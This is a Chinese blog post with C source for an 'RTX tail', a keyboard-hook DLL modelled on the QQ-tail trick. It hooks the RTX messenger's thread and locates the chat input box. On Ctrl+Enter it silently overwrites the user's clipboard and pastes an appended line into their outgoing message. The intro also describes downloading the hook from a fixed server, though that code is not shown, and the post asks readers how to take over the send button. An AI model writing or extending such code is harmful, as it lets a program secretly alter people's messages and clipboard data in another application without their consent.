简单实现windows上RTX尾巴(下)(c语言)
简单实现windows下RTX尾巴(上)(c语言)
仿照网上QQ尾巴的例子实现一个简单的RTX尾巴,运行后会从固定的服务器下载键盘钩子(由于不会获取发送按钮的句柄,目前只实现了键盘钩子),然后安装钩子。在用户使用ctrl+enter发送消息时,会在消息的尾部添加如下一段话:[**********The brown quick fox jumps over the lazy dog.**********]。
ps:希望高手能教教我如何获得发送按钮的句柄,在下感激不尽!
rtxkeyhook.h
rtxkeyhook.c
仿照网上QQ尾巴的例子实现一个简单的RTX尾巴,运行后会从固定的服务器下载键盘钩子(由于不会获取发送按钮的句柄,目前只实现了键盘钩子),然后安装钩子。在用户使用ctrl+enter发送消息时,会在消息的尾部添加如下一段话:[**********The brown quick fox jumps over the lazy dog.**********]。
ps:希望高手能教教我如何获得发送按钮的句柄,在下感激不尽!
rtxkeyhook.h
#ifdef KEYHOOKLIB_EXPORTS #define KEYHOOKLIB_API __declspec(dllexport) #else #define KEYHOOKLIB_API __declspec(dllimport) #endif BOOL KEYHOOKLIB_API WINAPI SetHook(HANDLE); BOOL KEYHOOKLIB_API WINAPI DropHook(); void PasteText(HANDLE); int GetTextLen(HANDLE);
rtxkeyhook.c
#include <windows.h> #include <stdio.h> #define KEYHOOKLIB_EXPORTS #include "rtxkeyhook.h" #pragma data_seg("HOOKShared") HHOOK g_hKey = NULL; HANDLE g_hRich = NULL; #pragma data_seg() #pragma comment(linker, "/section:HOOKShared,RWS") LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam) { if(wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0) { if(g_hRich != NULL && GetTextLen(g_hRich) > 0) { PasteText(g_hRich); } } return CallNextHookEx(g_hKey, nCode, wParam, lParam); } int GetTextLen(HANDLE hRich) { char szText[1000]; SendMessage(hRich, WM_GETTEXT, sizeof(szText), (LPARAM)szText); return strlen(szText); } void PasteText(HANDLE hRich) { HGLOBAL hMem; char *pStr; char gStr[100] = "\n**********The brown quick fox jumps over the lazy dog.**********\n"; hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(gStr)); pStr = GlobalLock(hMem); lstrcpy(pStr, gStr); GlobalUnlock(hMem); OpenClipboard(NULL); EmptyClipboard(); SetClipboardData(CF_TEXT, hMem); CloseClipboard(); SendMessage(hRich, WM_PASTE, 0, 0); } HMODULE WINAPI ModuleFromAddress(PVOID pv) { MEMORY_BASIC_INFORMATION mbi; if(VirtualQuery(pv, &mbi, sizeof(mbi)) != 0) { return (HMODULE)mbi.AllocationBase; } else { return NULL; } } BOOL WINAPI SetHook(HANDLE hDlg) { DWORD dwThreadId = GetWindowThreadProcessId(hDlg, NULL); g_hRich = FindWindowEx(hDlg, NULL, "RichEdit20W", NULL); if(g_hRich == NULL) { printf("can not find edit control !\n"); return FALSE; } g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, ModuleFromAddress(KeyHookProc), dwThreadId); if(g_hKey != NULL) { printf("hook ready !\n"); return TRUE; } return FALSE; } BOOL WINAPI DropHook() { return UnhookWindowsHookEx(g_hKey); }